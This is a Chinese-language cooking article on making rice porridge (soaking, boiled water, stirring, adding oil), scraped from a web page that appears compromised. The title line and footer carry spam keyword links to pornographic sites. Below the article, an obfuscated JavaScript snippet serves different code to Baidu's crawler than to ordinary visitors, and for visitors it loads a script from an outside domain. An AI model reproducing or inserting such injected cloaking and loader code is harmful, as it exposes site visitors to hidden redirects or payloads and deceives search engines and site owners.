日本www视频在线观看_天堂av在线中文_欧美日韩首页_久久久久久久久久久久久国产_欧美成人a视频_高清不卡视频

當前位置:首頁 > 飲食 > 烹飪技巧 > 正文

怎么煮粥最美味?煮粥水要加足

2015-10-29 15:08:49  來源:360常識網   熱度:
導語:煮粥的米,既可以先用清水浸泡5~6個小時,然后下鍋;也可以淘洗干凈后直接下鍋。先浸后煮,可以縮短熬粥的時間,但美中不足的是,提前浸泡容易導致營養成分的流失。

大多數人熬粥時習慣將所有的東西一股腦全倒進鍋里,但這樣并不科學。熬粥的時候,應該將粥底和輔料分開煮,最后再一起熬煮,最好不要超過10分鐘。這樣熬出的粥品清爽不渾濁,每樣東西的味道都熬出來了且不串味。特別是輔料為肉類及海鮮時,更應將其分開。

怎么煮粥最美味?煮粥水要加足

怎么煮粥最美味?煮粥水要加足

怎么煮粥最美味?

浸泡

煮粥的米,既可以先用清水浸泡5~6個小時,然后下鍋;也可以淘洗干凈后直接下鍋。先浸后煮,可以縮短熬粥的時間,但美中不足的是,提前浸泡容易導致營養成分的流失。

開水下鍋。

直接用自來水熬粥,水中的氯會破壞米中的維生素B1。若用燒開的水煮粥,氯已多隨水蒸氣揮發,可防止營養成分損失。此外,開水下鍋不容易糊底,還比冷水熬粥更省時間。

水要加足。

上火熬前最好一次性把水放足,不要中途添水,否則粥在黏稠度和濃郁香味上會大打折扣。切記一定要一次加入足量的水,因為熬粥講究一氣呵成,才能達到水乳交融、柔膩如一體的效果。

攪拌。

熬粥時要往一個方向攪拌,這樣煮出來的粥受熱均勻,且米香濃郁。攪拌也是有技巧的,開水下鍋,攪拌幾下,蓋上蓋,小火熬制20分鐘,再不停攪拌,大概持續10分鐘左右,直到粥出現黏稠狀,到呈酥稠狀出鍋為止。

點油。

粥改文火后約10分鐘時點入少許色拉油,你會發現這樣熬出來的粥不但看上去顏色亮澤,入口后也味美鮮滑。此外,點油還有一個好處,可以不潽鍋。因為油的沸點比水的沸點高,而熬粥的時候達不到油的沸點,油始終在水上漂著,即使達到水的沸點,也不會潽鍋。

粥底、輔料分開煮。

大多數人熬粥時習慣將所有的東西一股腦全倒進鍋里,但這樣并不科學。熬粥的時候,應該將粥底和輔料分開煮,最后再一起熬煮,最好不要超過10分鐘。這樣熬出的粥品清爽不渾濁,每樣東西的味道都熬出來了且不串味。特別是輔料為肉類及海鮮時,更應將其分開。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 欧美日韩在线免费 | av在线入口| 山东少妇露脸刺激对白在线 | 成年男女免费视频网站 | 欧美伦理在线观看 | 白丝白浆 | 丰满的亚洲女人毛茸茸 | 亚洲天堂免费观看 | 欧美成人精品在线观看 | 天堂亚洲 | 成年免费视频黄网站在线观看 | 99久久久国产精品免费蜜臀 | 国产一区二区视频网站 | 一级欧美一级日韩片 | 国产精品视频免费观看 | 欧美在线视频播放 | 正在播放国产精品 | 丁香婷婷深情五月亚洲 | 黄视频在线观看免费 | 久久一线 | 日韩在线一区二区三区 | 丁香六月婷婷激情 | 亚洲一二三在线观看 | 国产精品一| 婷婷久久综合 | 亚洲综合成人在线 | 日韩午夜在线观看 | 超碰黄色 | 91在线高清 | 欧美综合亚洲 | 国产成人精品久久 | 97视频免费看 | 金瓶狂野欧美性猛交xxxx | 日韩免费黄色 | 免费网站看av | 4虎影院在线观看 | 一级片网| 国产亚洲不卡 | 毛片天堂 | 都市激情中文字幕 | 欧美激情影院 |